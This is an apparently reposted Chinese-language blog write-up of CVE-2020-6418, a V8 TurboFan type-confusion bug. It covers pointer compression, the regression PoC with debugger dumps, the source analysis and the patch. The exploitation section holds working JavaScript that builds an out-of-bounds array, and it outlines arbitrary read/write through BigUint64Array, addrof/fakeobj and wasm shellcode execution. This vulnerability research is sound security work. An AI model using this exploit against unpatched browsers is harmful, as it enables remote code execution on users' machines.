作者:raycp
原文链接:https://mp.weixin.qq.com/s/cLZ7Jv2p9wlK87qN03TRqA
https://mp.weixin.qq.com/s/5LcdwvF_Yy5Q_Wz5Szqwtg
基础知识 – Pointer compression
Pointer compression
是v8 8.0
中为提高64位机器内存利用率而引入的机制。
篇幅的原因,这里只简要说下和漏洞利用相关的部分,其余的可以看参考链接。
示例代码:
let aa = [1, 2, 3, 4]; %DebugPrint(aa); %SystemBreak();
首先是指针长度的变化,之前指针都是64
位的,现在是32
位。而对象地址中高位的32
字节是基本不会改变的,每次花4个字节来存储高32位地址是浪费空间。因此8.0
的v8,申请出4GB
的空间作为堆空间分配对象,将它的高32
位保存在它的根寄存器中(x64
为r13
)。在访问某个对象时,只需要提供它的低32
位地址,再加上根寄存器中的值机可以得到完整的地址,因此所有的对象指针的保存只需要保存32
位。
在示例代码中可以看到aa
的地址为0x12e0080c651d
,查看对象中的数据,看到elements
字段的地址为0x0825048d
,它的根寄存器r13
为0x12e000000000
,因此elements
的完整地址是0x12e000000000+0x0825048d=0x12e00825048d
。
pwndbg> job 0x12e0080c651d 0x12e0080c651d: [JSArray] - map: 0x12e0082817f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x12e008248f7d <JSArray[0]> - elements: 0x12e00825048d <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)] - length: 4 - properties: 0x12e0080406e9 <FixedArray[0]> { #length: 0x12e0081c0165 <AccessorInfo> (const accessor descriptor) } - elements: 0x12e00825048d <FixedArray[4]> { 0: 1 1: 2 2: 3 3: 4 } pwndbg> x/4wx 0x12e0080c651c 0x12e0080c651c: 0x082817f1 0x080406e9 0x0825048d 0x00000008 ;; map | properties | elements | length pwndbg> i r r13 r13 0x12e000000000 0x12e000000000 pwndbg> print 0x12e000000000+0x0825048d $170 = 0x12e00825048d
其次是SMI
的表示,之前64位系统中SMI
的表示是value<<32
,由于要节约空间且只需要最后一比特来作为pointer tag
,于是现在将SMI
表示成value<<1
。这样SMI
表示也从占用64字节变成了32字节。
看示例代码中aa
对象的elements
,如下所示,可以看到所有的数字都翻倍了,那是因为SMI
的表示是value<<1
,而左移一位正是乘以2。
pwndbg> job 0x12e00825048d ;; elements 0x12e00825048d: [FixedArray] in OldSpace - map: 0x12e0080404d9 <Map> - length: 4 0: 1 1: 2 2: 3 3: 4 pwndbg> x/6wx 0x12e00825048c 0x12e00825048c: 0x080404d9 0x00000008 0x00000002 0x00000004 0x12e00825049c: 0x00000006 0x00000008
Pointer compression
给v8
的内存带来的提升接近于40%,还是比较大的。当然也还有很多细节没有说明,本打算写一篇关于Pointer compression
的文章,但是由于这个漏洞的出现,所以就鸽了,以后有机会再写。
可以想到的是当一个数组从SMI
数组,转换成DOUBLE
数组时,它所占用的空间几乎会翻倍;同时数组从DOUBLE
数组变成object
数组时,占用空间会缩小一半。
描述
cve-2020-6418
是前几天曝出来的v8的一个类型混淆漏洞,谷歌团队在捕获的一个在野利用的漏洞,80.0.3987.122
版本前的chrome都受影响。
根据commit先编译v8:
git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07 gclient sync tools/dev/gm.py x64.release tools/dev/gm.py x64.debug
分析
poc分析
回归测试代码poc如下:
// Copyright 2020 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Flags: --allow-natives-syntax let a = [0, 1, 2, 3, 4]; function empty() {} function f(p) { a.pop(Reflect.construct(empty, arguments, p)); } let p = new Proxy(Object, { get: () => (a[0] = 1.1, Object.prototype) }); function main(p) { f(p); } %PrepareFunctionForOptimization(empty); %PrepareFunctionForOptimization(f); %PrepareFunctionForOptimization(main); main(empty); main(empty); %OptimizeFunctionOnNextCall(main); main(p);
用release
版本的v8运行不会报错,使用debug版本的v8运行会报错。
根据commit
中的信息,应该是a.pop
调用的时候,没有考虑到JSCreate
结点存在的side-effect
(会触发回调函数),改变a
的类型(变成DOUBLE
),仍然按之前的类型(SMI
)处理。
[turbofan] Fix bug in receiver maps inference JSCreate can have side effects (by looking up the prototype on an object), so once we walk past that the analysis result must be marked as "unreliable".
为了验证,可以将pop
的返回值打印出来,加入代码:
let a = [0, 1, 2, 3, 4]; function empty() {} function f(p) { return a.pop(Reflect.construct(empty, arguments, p)); // return here } let p = new Proxy(Object, { get: () => (a[0] = 1.1, Object.prototype) }); function main(p) { return f(p); // return here } %PrepareFunctionForOptimization(empty); %PrepareFunctionForOptimization(f); %PrepareFunctionForOptimization(main); print main(empty); print main(empty); %OptimizeFunctionOnNextCall(main); print(main(p));
运行打印出来的结果,看到最后一次本来应该输出2
的,却输出为0
。
$ ../v8/out/x64.release/d8 --allow-natives-syntax ./poc.js 4 3 0
猜想应该是在Proxy
中a的类型从PACKED_SMI_ELEMENTS
数组改成了PACKED_DOUBLE_ELEMENTS
数组,最后pop
返回的时候仍然是按SMI
进行返回,返回的是相应字段的数据。
在Proxy
函数中加入语句进行调试:
let p = new Proxy(Object, { get: () => { %DebugPrint(a); %SystemBreak(); a[0] = 1.1; %DebugPrint(a); %SystemBreak(); return Object.prototype; } });
第一次断点相关数据如下,在elements
中可以看到偏移+8
为起始的数据的位置,a[2]
对应为2
。
pwndbg> job 0x265a080860cd 0x265a080860cd: [JSArray] - map: 0x265a082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x265a08208f7d <JSArray[0]> - elements: 0x265a0808625d <FixedArray[5]> [PACKED_SMI_ELEMENTS] - length: 3 - properties: 0x265a080406e9 <FixedArray[0]> { #length: 0x265a08180165 <AccessorInfo> (const accessor descriptor) } - elements: 0x265a0808625d <FixedArray[5]> { 0: 0 1: 1 2: 2 3-4: 0x265a08040385 <the_hole> } pwndbg> x/10wx 0x265a080860cc ;; a 0x265a080860cc: 0x082417f1 0x080406e9 0x0808625d 0x00000006 ;; map | properties | elements | length 0x265a080860dc: 0x08244e79 0x080406e9 0x080406e9 0x08086109 0x265a080860ec: 0x080401c5 0x00010001 pwndbg> job 0x265a0808625d 0x265a0808625d: [FixedArray] - map: 0x265a080404b1 <Map> - length: 5 0: 0 1: 1 2: 2 3-4: 0x265a08040385 <the_hole> pwndbg> x/10wx 0x265a0808625c ;; a's elements 0x265a0808625c: 0x080404b1 0x0000000a 0x00000000 0x00000002 ;; map | length | a[0] | a[1] 0x265a0808626c: 0x00000004 0x08040385 0x08040385 0x08241f99 ;; a[2] | a[3] | a[4] 0x265a0808627c: 0x00000006 0x082104f1
第二次断点,a
的类型改变后相关数据如下:
pwndbg> job 0x265a080860cd ;; a 0x265a080860cd: [JSArray] - map: 0x265a08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x265a08208f7d <JSArray[0]> - elements: 0x265a08086319 <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS] - length: 3 - properties: 0x265a080406e9 <FixedArray[0]> { #length: 0x265a08180165 <AccessorInfo> (const accessor descriptor) } - elements: 0x265a08086319 <FixedDoubleArray[5]> { 0: 1.1 1: 1 2: 2 3-4: <the_hole> } pwndbg> x/10wx 0x265a080860cc ;; a 0x265a080860cc: 0x08241891 0x080406e9 0x08086319 0x00000006 0x265a080860dc: 0x08244e79 0x080406e9 0x080406e9 0x08086109 0x265a080860ec: 0x080401c5 0x00010001 pwndbg> job 0x265a08086319 ;; a's elements 0x265a08086319: [FixedDoubleArray] - map: 0x265a08040a3d <Map> - length: 5 0: 1.1 1: 1 2: 2 3-4: <the_hole> pwndbg> x/12wx 0x265a08086318 ;; a's elements 0x265a08086318: 0x08040a3d 0x0000000a 0x9999999a 0x3ff19999 ;; map | properties | elements | length 0x265a08086328: 0x00000000 0x3ff00000 0x00000000 0x40000000 0x265a08086338: 0xfff7ffff 0xfff7ffff 0xfff7ffff 0xfff7ffff pwndbg> x/10gx 0x265a08086318 ;; a's elements 0x265a08086318: 0x0000000a08040a3d 0x3ff199999999999a 0x265a08086328: 0x3ff0000000000000 0x4000000000000000 0x265a08086338: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
在pointer compresssion
中我们知道SMI
是用32位表示,double
仍然是使用64
位表示的,可以看到其所对应的SMI
表示a[2]
所在的位置刚好是0
,验证了猜想。
可以看到对应的a[3]
的数据是浮点数
表示的数字1
(0x3ff0000000000000
)的高位,因此如果我们将a
的长度加1,使得它最后pop
出来的是a[3]
的话,将数组改成let a = [0, 1, 2, 3, 4, 5];
,会打印出来的将是0x3ff00000>>1==536346624
,运行验证如下:
$ ../v8/out/x64.release/d8 --allow-natives-syntax ./poc.js 5 4 536346624
到此,从poc层面理解漏洞结束,下面我们再从源码层面来理解漏洞。
源码分析
JSCallReducer中的builtin inlining
在对漏洞进行分析前,需要先讲述下JSCallReducer
中的builtin inlining
的原理。
之前在inlining
的分析中说过,builtin
的inlining
发生在两个阶段:
- 在
inlining and native context specialization
时会调用JSCallReducer
来对builtin
进行inlining
。 - 在
typed lowering
阶段调用JSBuiltinReducer
对builtin
进行inlining
。
上面两种情况下,Reducer
都会尝试尽可能的将内置函数中最快速的路径内联到函数中来替换相应的JSCall
结点。
对于builtin
该在哪个阶段(第一个阶段还是第二个)发生inlining
则没有非常严格的规定,但是遵循以下的原则:inlining
时对它周围结点的类型信息依赖度比较高的builtin
,需要在后面的typed lowering
阶段能够获取相应结点的类型信息后,再在JSBuiltinReducer
中进行inlining
;而具有较高优先级(把它们先进行内联后,后续可以更好的优化)的内置函数则要在inlining and native context specialization
阶段的JSCallReducer
中进行内联,如Array.prototype.pop
、Array.prototype.push
、Array.prototype.map
、 Function.prototype.apply
以及Function.prototype.bind
函数等。
JSCallReducer
的ReduceJSCall
相关代码如下,可以看到它会根据不同的builtin_id
来调用相关的Reduce
函数。
// compiler/js-call-reducer.cc:3906 Reduction JSCallReducer::ReduceJSCall(Node* node, const SharedFunctionInfoRef& shared) { DCHECK_EQ(IrOpcode::kJSCall, node->opcode()); Node* target = NodeProperties::GetValueInput(node, 0); // Do not reduce calls to functions with break points. if (shared.HasBreakInfo()) return NoChange(); // Raise a TypeError if the {target} is a "classConstructor". if (IsClassConstructor(shared.kind())) { NodeProperties::ReplaceValueInputs(node, target); NodeProperties::ChangeOp( node, javascript()->CallRuntime( Runtime::kThrowConstructorNonCallableError, 1)); return Changed(node); } // Check for known builtin functions. int builtin_id = shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId; switch (builtin_id) { case Builtins::kArrayConstructor: return ReduceArrayConstructor(node); ... case Builtins::kReflectConstruct: return ReduceReflectConstruct(node); ... case Builtins::kArrayPrototypePop: return ReduceArrayPrototypePop(node);
poc
中a.pop
函数所对应的builtin_id
为kArrayPrototypePop
。
这个阶段的inlining
的一个很重要的思想是:确定调用该内置函数的对象的类型;有了相应的类型后,可以根据对象的类型快速的实现相应的功能,从而去掉冗余的多种类型兼容的操作。
如kArrayPrototypePop
函数功能则是根据对象的类型,将它最后一个元素直接弹出。当a.pop
如果知道a
的类型为PACKED_SMI_ELEMENTS
,则可以根据PACKED_SMI_ELEMENTS
类型,直接通过偏移找到该类型最后一个元素的位置(而不用通过复杂运行时来确定),将它置为hole
,更新数组长度,并返回该元素的值。
这个过程有一个很重要的前置条件则是确定调用builtin
函数的对象进行类型。只有知道了对象的类型,才能够知道相应字段的偏移和位置等,从而快速实现该功能。
如何确定输入对象的类型,以及它的类型是否可靠,v8
代码通过MapInference
类来实现。
该类的相关代码如下所示,它的作用正如它的注释所示,主要包括两点:
- 推断传入的对象的类型(
MAP
)并返回; - 根据传入的
effect
,决定推测的返回对象类型(MAP
)结果是否可靠,reliable
表示返回的对象的类型是可靠的,在后面使用该对象时无需进行类型检查,即可根据该类型进行使用;如果是reliable
则表示该类型不一定准确,在后面使用时需要加入检查(加入MAP Check
),才能使用。
// compiler/map-inference.h:25 // The MapInference class provides access to the "inferred" maps of an // {object}. This information can be either "reliable", meaning that the object // is guaranteed to have one of these maps at runtime, or "unreliable", meaning // that the object is guaranteed to have HAD one of these maps. // // The MapInference class does not expose whether or not the information is // reliable. A client is expected to eventually make the information reliable by // calling one of several methods that will either insert map checks, or record // stability dependencies (or do nothing if the information was already // reliable). // compiler/map-inference.cc:18 MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect) : broker_(broker), object_(object) { ZoneHandleSet<Map> maps; auto result = NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &maps); maps_.insert(maps_.end(), maps.begin(), maps.end()); maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps) ? kUnreliableDontNeedGuard : kReliableOrGuarded; DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps); }
MapInference
构造函数调用InferReceiverMapsUnsafe
函数来判断推断的Map
是否可靠,如下所示。它会遍历将该object
作为value input
的结点的effect
链,追溯看是否存在改变object
类型的代码。如果没有会改变对象类型的代码,则返回kReliableReceiverMaps
;如果存在结点有属性kNoWrite
以及改变对象类型的操作,则表示代码运行过程中可能会改变对象的类型,返回kUnreliableReceiverMaps
,表示返回的MAP
类型不可靠。
// compiler/node-properties.cc:337 // static NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe( JSHeapBroker* broker, Node* receiver, Node* effect, ZoneHandleSet<Map>* maps_return) { HeapObjectMatcher m(receiver); if (m.HasValue()) { HeapObjectRef receiver = m.Ref(broker); // We don't use ICs for the Array.prototype and the Object.prototype // because the runtime has to be able to intercept them properly, so // we better make sure that TurboFan doesn't outsmart the system here // by storing to elements of either prototype directly. // // TODO(bmeurer): This can be removed once the Array.prototype and // Object.prototype have NO_ELEMENTS elements kind. if (!receiver.IsJSObject() || !broker->IsArrayOrObjectPrototype(receiver.AsJSObject())) { if (receiver.map().is_stable()) { // The {receiver_map} is only reliable when we install a stability // code dependency. *maps_return = ZoneHandleSet<Map>(receiver.map().object()); return kUnreliableReceiverMaps; } } } InferReceiverMapsResult result = kReliableReceiverMaps; while (true) { switch (effect->opcode()) { case IrOpcode::kMapGuard: { Node* const object = GetValueInput(effect, 0); if (IsSame(receiver, object)) { *maps_return = MapGuardMapsOf(effect->op()); return result; } break; } case IrOpcode::kCheckMaps: { Node* const object = GetValueInput(effect, 0); if (IsSame(receiver, object)) { *maps_return = CheckMapsParametersOf(effect->op()).maps(); return result; } break; } case IrOpcode::kJSCreate: { if (IsSame(receiver, effect)) { base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver); if (initial_map.has_value()) { *maps_return = ZoneHandleSet<Map>(initial_map->object()); return result; } // We reached the allocation of the {receiver}. return kNoReceiverMaps; } break; } default: { DCHECK_EQ(1, effect->op()->EffectOutputCount()); if (effect->op()->EffectInputCount() != 1) { // Didn't find any appropriate CheckMaps node. return kNoReceiverMaps; } if (!effect->op()->HasProperty(Operator::kNoWrite)) { // Without alias/escape analysis we cannot tell whether this // {effect} affects {receiver} or not. result = kUnreliableReceiverMaps; } break; ... // Stop walking the effect chain once we hit the definition of // the {receiver} along the {effect}s. if (IsSame(receiver, effect)) return kNoReceiverMaps; // Continue with the next {effect}. DCHECK_EQ(1, effect->op()->EffectInputCount()); effect = NodeProperties::GetEffectInput(effect); } }
最后来看数组对象的Array.prototype.pop
函数所对应的ReduceArrayPrototypePop
函数是如何实现builtin inlining
的,相关代码如下所示,主要功能为:
- 获取
pop
函数所对应的JSCall
结点的value
、effect
以及control
输入;其中value
输入即为调用该函数的对象,即a.pop
中的a
。 - 调用
MapInference
来推断调用pop
函数对象类型的MAP
,如果没有获取到对象的类型,则不进行优化; - 调用
RelyOnMapsPreferStability
,来查看获取的类型是否可靠。如果可靠,则无需加入类型检查;如果不可靠,则需要加入类型检查。 - 因为前面三步确认了调用
pop
函数的对象类型,后面就是具体的功能实现,可以直接看注释。根据获取的对象的类型,得到length
、计算新的length
、获取数组的最后一个值用于返回、将数组的最后一个字段赋值为hole
。
// compiler/js-call-reducer.cc:4910 // ES6 section 22.1.3.17 Array.prototype.pop ( ) Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) { DisallowHeapAccessIf disallow_heap_access(should_disallow_heap_access()); ... Node* receiver = NodeProperties::GetValueInput(node, 1); // 获取value输入 Node* effect = NodeProperties::GetEffectInput(node); // 获取effect输入 Node* control = NodeProperties::GetControlInput(node); // 获取control输入 MapInference inference(broker(), receiver, effect); // 获取调用`pop`函数的对象的类型 if (!inference.HaveMaps()) return NoChange(); // 如果没有获取到该对象的类型,不进行优化 MapHandles const& receiver_maps = inference.GetMaps(); std::vector<ElementsKind> kinds; if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds)) { return inference.NoChange(); } if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE(); inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect, control, p.feedback()); // 根据类型是否可靠,确定是否要加入类型检查 std::vector<Node*> controls_to_merge; std::vector<Node*> effects_to_merge; std::vector<Node*> values_to_merge; Node* value = jsgraph()->UndefinedConstant(); Node* receiver_elements_kind = LoadReceiverElementsKind(receiver, &effect, &control); // Load the "length" property of the {receiver}. Node* length = effect = graph()->NewNode( simplified()->LoadField(AccessBuilder::ForJSArrayLength(kind)), receiver, effect, control); ... // Compute the new {length}. length = graph()->NewNode(simplified()->NumberSubtract(), length, jsgraph()->OneConstant()); ... // Store the new {length} to the {receiver}. efalse = graph()->NewNode( simplified()->StoreField(AccessBuilder::ForJSArrayLength(kind)), receiver, length, efalse, if_false); ... // Load the last entry from the {elements}. vfalse = efalse = graph()->NewNode( simplified()->LoadElement(AccessBuilder::ForFixedArrayElement(kind)), elements, length, efalse, if_false); ... // Store a hole to the element we just removed from the {receiver}. efalse = graph()->NewNode( simplified()->StoreElement( AccessBuilder::ForFixedArrayElement(GetHoleyElementsKind(kind))), elements, length, jsgraph()->TheHoleConstant(), efalse, if_false); ReplaceWithValue(node, value, effect, control); return Replace(value); }
最后来看下RelyOnMapsPreferStability
函数是怎么实现加入检查或不加的。当maps_state_
不是kUnreliableNeedGuard
的时候,即返回的类型推断是可信的时候,则什么都不干直接返回;当类型是不可信的时候,最终会调用InsertMapChecks
在图中插入CheckMaps
结点。
// compiler/js-call-reducer.cc:120 bool MapInference::RelyOnMapsPreferStability( CompilationDependencies* dependencies, JSGraph* jsgraph, Node** effect, Node* control, const FeedbackSource& feedback) { CHECK(HaveMaps()); if (Safe()) return false; if (RelyOnMapsViaStability(dependencies)) return true; CHECK(RelyOnMapsHelper(nullptr, jsgraph, effect, control, feedback)); return false; } // compiler/map-inference.cc:120 bool MapInference::Safe() const { return maps_state_ != kUnreliableNeedGuard; } // compiler/map-inference.cc:114 bool MapInference::RelyOnMapsViaStability( CompilationDependencies* dependencies) { CHECK(HaveMaps()); return RelyOnMapsHelper(dependencies, nullptr, nullptr, nullptr, {}); } // compiler/map-inference.cc:130 bool MapInference::RelyOnMapsHelper(CompilationDependencies* dependencies, JSGraph* jsgraph, Node** effect, Node* control, const FeedbackSource& feedback) { if (Safe()) return true; auto is_stable = [this](Handle<Map> map) { MapRef map_ref(broker_, map); return map_ref.is_stable(); }; if (dependencies != nullptr && std::all_of(maps_.cbegin(), maps_.cend(), is_stable)) { for (Handle<Map> map : maps_) { dependencies->DependOnStableMap(MapRef(broker_, map)); } SetGuarded(); return true; } else if (feedback.IsValid()) { InsertMapChecks(jsgraph, effect, control, feedback); return true; } else { return false; } } // compiler/map-inference.cc:101 void MapInference::InsertMapChecks(JSGraph* jsgraph, Node** effect, Node* control, const FeedbackSource& feedback) { CHECK(HaveMaps()); CHECK(feedback.IsValid()); ZoneHandleSet<Map> maps; for (Handle<Map> map : maps_) maps.insert(map, jsgraph->graph()->zone()); *effect = jsgraph->graph()->NewNode( jsgraph->simplified()->CheckMaps(CheckMapsFlag::kNone, maps, feedback), object_, *effect, control); SetGuarded(); }
漏洞分析
理解了上面说的builtin inling
以后理解漏洞就很简单了。
根据patch
,漏洞出现在InferReceiverMapsUnsafe
中,相关代码如下:
// compiler/node-properties.cc:337 // static NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe( JSHeapBroker* broker, Node* receiver, Node* effect, ZoneHandleSet<Map>* maps_return) { HeapObjectMatcher m(receiver); ... InferReceiverMapsResult result = kReliableReceiverMaps; while (true) { switch (effect->opcode()) { case IrOpcode::kJSCreate: { if (IsSame(receiver, effect)) { base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver); if (initial_map.has_value()) { *maps_return = ZoneHandleSet<Map>(initial_map->object()); return result; } // We reached the allocation of the {receiver}. return kNoReceiverMaps; } + result = kUnreliableReceiverMaps; // JSCreate can have side-effect. break;
patch
后的代码在InferReceiverMapsUnsafe
函数中遍历到kJSCreate
将类型赋值为kUnreliableReceiverMaps
,即认为JSCreate
可能会给当前对象的类型造成改变。
因此在漏洞版本的v8
当中,代码认为JSCreate
结点是不会改变当前的类型的类型的,即没有side-effect
。而实际在poc中可以看到Reflect.construct
转换成JSCreate
结点,且它可以通过Proxy
来触发回调函数来执行任意代码,当然也包括修改相应对象的类型,因此它是存在side-effect
的。
正是对于JSCreate
结点的side-effect
判断错误,认为它没有side-effect
,最终返回kReliableReceiverMaps
。导致在builtin inlining
过程中RelyOnMapsPreferStability
函数没有加入CheckMaps
结点,但是仍然按之前的类型进行功能实现(实际类型已经发生改变),导致类型混淆漏洞的产生。
在poc
函数中,a.pop
函数是不需要参数的,但是将Reflect.construct
作为它的参数目标是在JSCreate
结点和JSCall
结点之间生成一条effect
链。
当然其他builtin
函数的内联也会触发这个洞,这里的array.prototype.pop
可以触发越界读;array.protype.push
则可以触发越界写。
利用
因为pointer compression
的存在,不能像之前一样无脑通过ArrayBuffer
来进行任意读写了。但是很容易想到的是可以通过改写数组结构体elements
或properties
指针的方式实现堆的4GB
空间内任意相对地址读写;可以通过修改ArrayBuffer
结构体的backing_store
指针来实现绝对地址的读写。
BigUint64Array对象介绍
在这里再介绍对象BigUint64Array
的结构体,通过它我们既可以实现4GB
堆空间内相对地址的读写;又可以实现任意绝对地址的读写。
示例代码如下:
let aa = new BigUint64Array(4); aa[0] = 0x1122334455667788n; aa[1] = 0xaabbaabbccddccddn; aa[2] = 0xdeadbeefdeadbeefn; aa[3] = 0xeeeeeeeeffffffffn; %DebugPrint(aa); %SystemBreak();
运行后数据如下,需要关注的是它的length
、base_pointer
以及external_pointer
字段。它们和之前的指针不一样,都是64
字节表示,且没有任何的tag
标志。
pwndbg> job 0x179a080c6669 0x179a080c6669: [JSTypedArray] - map: 0x179a08280671 <Map(BIGUINT64ELEMENTS)> [FastProperties] - prototype: 0x179a08242bc9 <Object map = 0x179a08280699> - elements: 0x179a080c6641 <ByteArray[32]> [BIGUINT64ELEMENTS] - embedder fields: 2 - buffer: 0x179a080c6611 <ArrayBuffer map = 0x179a08281189> - byte_offset: 0 - byte_length: 32 - length: 4 - data_ptr: 0x179a080c6648 - base_pointer: 0x80c6641 - external_pointer: 0x179a00000007 - properties: 0x179a080406e9 <FixedArray[0]> {} - elements: 0x179a080c6641 <ByteArray[32]> { 0: 1234605616436508552 1: 12302614530665336029 2: 16045690984833335023 3: 17216961135748579327 } - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) } pwndbg> x/16wx 0x179a080c6668 0x179a080c6668: 0x08280671 0x080406e9 0x080c6641 0x080c6611 0x179a080c6678: 0x00000000 0x00000000 0x00000020 0x00000000 0x179a080c6688: 0x00000004 0x00000000 0x00000007 0x0000179a 0x179a080c6698: 0x080c6641 0x00000000 0x00000000 0x00000000 pwndbg> x/3gx 0x179a080c6688 0x179a080c6688: 0x0000000000000004 0x0000179a00000007 0x179a080c6698: 0x00000000080c6641
它的数据存储是在data_ptr
中,data_ptr
的表示是base_pointer+external_pointer
:
pwndbg> print 0x80c6641+0x179a00000007 $171 = 0x179a080c6648 pwndbg> x/4gx 0x179a080c6648 0x179a080c6648: 0x1122334455667788 0xaabbaabbccddccdd 0x179a080c6658: 0xdeadbeefdeadbeef 0xeeeeeeeeffffffff
external_pointer
是高32
位地址的值,base_pointer
刚好就是相对于高32
位地址的4GB
堆地址的空间的偏移。初始时external_pointer
的地址刚好是根寄存器r13
的高32
位。
因此我们可以通过覆盖base_pointer
来实现4GB
堆地址空间的任意读写;可以通过读取external_pointer
来获取根的值;可以通过覆盖external_pointer
和base_pointer
的值来实现绝对地址的任意读写。
当然Float64Array
以及Uint32Array
的结构体差不多也是这样,但是使用BigInt
还有一个好处就是它的数据的64
字节就是我们写入的64
字节,不像float
或者是int
一样还需要转换。
漏洞利用
有了上面的基础后就可以进行漏洞利用了。
首先是利用类型混淆实现将float
数组的length
字段覆盖称很大的值。通过前面我们可以知道DOUBLE
数组element
长度是8
,而object
数组长度是4
。通过类型混淆在Proxy
中将对象从DOUBLE
数组变成object
数组,在后续pop
或者push
的时候就会实现越界读写,控制好数组长度,并在后面布置数组的话,则可以刚好读写到后面数组的length
字段,代码如下:
const MAX_ITERATIONS = 0x10000; var maxSize = 1020*4; var vulnArray = [,,,,,,,,,,,,,, 1.1, 2.2, 3.3]; vulnArray.pop(); vulnArray.pop(); vulnArray.pop(); var oobArray; function empty() {} function evil(optional) { vulnArray.push(typeof(Reflect.construct(empty, arguments, optional)) === Proxy? 1.1: 8.063e-320); // print (i2f(maxSize<<1)) ==> 8.063e-320 for (let i=0; i<MAX_ITERATIONS; i++) {} // trigger optimization } let p = new Proxy(Object, { get: () => { vulnArray[0] = {}; oobArray = [1.1, 2.2]; return Object.prototype; } }); function VulnEntry(func) { for (let i=0; i<MAX_ITERATIONS; i++) {}; // trigger optimization return evil(func); } function GetOOBArray() { for(let i=0; i<MAX_ITERATIONS; i++) { empty(); } VulnEntry(empty); VulnEntry(empty); VulnEntry(p); } GetOOBArray(); print("oob array length: "+oobArray.length)
得到了任意长度的double
数组以后,可以利用数组进行进一步的越界读写。
有了越界读写以后就可以构造AAR
以及AAW
原语,构造的方式是利用越界读写来找到布置在oobArray
后面的BigUint64Array
,然后通过越界写覆盖BigUint64Array
的base_pointer
字段以及external_poiner
来实现任意地址读写原语。
然后是AddrOf
原语以及FakeObj
原语的构造,这个和之前的覆盖object
数组的字段没有差别,只是从以前的覆盖64
字节变成了现在的32
字节。
最后就是利用上面的原语来找到wasm
对象的rwx
内存,写入shellcode
,最后触发函数,执行shellcode
。
其它
在调试的过程中,我有一个疑问就是poc
中为什么一定要写一个main
函数来调用f
函数,main
函数中除了f
函数的调用以外没有干任何的事情。我去掉main
,直接调用f
函数行不行呢?
let a = [0, 1, 2, 3, 4]; function empty() {} function f(p) { return a.pop(Reflect.construct(empty, arguments, p)); } let p = new Proxy(Object, { get: () => (Object.prototype) }); function main(p) { return f(p); } %PrepareFunctionForOptimization(empty); %PrepareFunctionForOptimization(f); %PrepareFunctionForOptimization(main); f(empty); f(empty); %OptimizeFunctionOnNextCall(f); print(f(p));
答案是不行的,将poc
改成上面所示代码,是无法漏洞的。
经过分析,发现代码在Reflect.construct
函数的内联处理函数ReduceReflectConstruct
函数过程中会先将JSCall
结点转换成JSConstructWithArrayLike
结点。
// compiler/js-call-reducer.cc:3906 Reduction JSCallReducer::ReduceJSCall(Node* node, const SharedFunctionInfoRef& shared) { ... int builtin_id = shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId; switch (builtin_id) { ... case Builtins::kReflectConstruct: return ReduceReflectConstruct(node); // compiler/js-call-reducer.cc:2841 // ES6 section 26.1.2 Reflect.construct ( target, argumentsList [, newTarget] ) Reduction JSCallReducer::ReduceReflectConstruct(Node* node) { ... NodeProperties::ChangeOp(node, javascript()->ConstructWithArrayLike(p.frequency())); Reduction const reduction = ReduceJSConstructWithArrayLike(node); ... }
在ReduceJSConstructWithArrayLike
函数中会调用ReduceCallOrConstructWithArrayLikeOrSpread
函数。
在ReduceCallOrConstructWithArrayLikeOrSpread
函数中如果发现目前优化的函数是最外层函数中的函数的话,则会将结点从JSConstructWithArrayLike
转化成JSCallForwardVarargs
结点,从而最终不会出现JSCreate
结点。
// compiler/js-call-reducer.cc:4681 Reduction JSCallReducer::ReduceJSConstructWithArrayLike(Node* node) { ... return ReduceCallOrConstructWithArrayLikeOrSpread( node, 1, frequency, FeedbackSource(), SpeculationMode::kDisallowSpeculation, CallFeedbackRelation::kRelated); } // compiler/js-call-reducer.cc:3519 Reduction JSCallReducer::ReduceCallOrConstructWithArrayLikeOrSpread( ... // 如果优化的函数已经是最外层函数中的函数 // Check if are spreading to inlined arguments or to the arguments of // the outermost function. Node* outer_state = frame_state->InputAt(kFrameStateOuterStateInput); if (outer_state->opcode() != IrOpcode::kFrameState) { Operator const* op = (node->opcode() == IrOpcode::kJSCallWithArrayLike || node->opcode() == IrOpcode::kJSCallWithSpread) ? javascript()->CallForwardVarargs(arity + 1, start_index) // 转换成JSCallForwardVarargs结点 : javascript()->ConstructForwardVarargs(arity + 2, start_index); NodeProperties::ChangeOp(node, op); return Changed(node); } ... NodeProperties::ChangeOp( node, javascript()->Construct(arity + 2, frequency, feedback)); // 否则转换成JSConstruct结点 Node* new_target = NodeProperties::GetValueInput(node, arity + 1); Node* frame_state = NodeProperties::GetFrameStateInput(node); Node* context = NodeProperties::GetContextInput(node); Node* effect = NodeProperties::GetEffectInput(node); Node* control = NodeProperties::GetControlInput(node);
所以需要在最外面加一层main
函数,绕过这个点,从而触发漏洞。
总结
通过应急响应这个cve-2020-6148
漏洞,对于类型混淆漏洞原理进一步掌握,也是对于pointer compression
的进一步理解,也是对于新的内存机制下v8
漏洞利用的学习,一举多得。
相关文件以及代码链接
参考链接
- Pointer Compression in V8
- V8 release v8.0
- Compressed pointers in V8
- Reflect.construct()
- Stable Channel Update for Desktop
- Trashing the Flow of Data
- BigUint64Array
- fb0a60e15695466621cf65932f9152935d859447
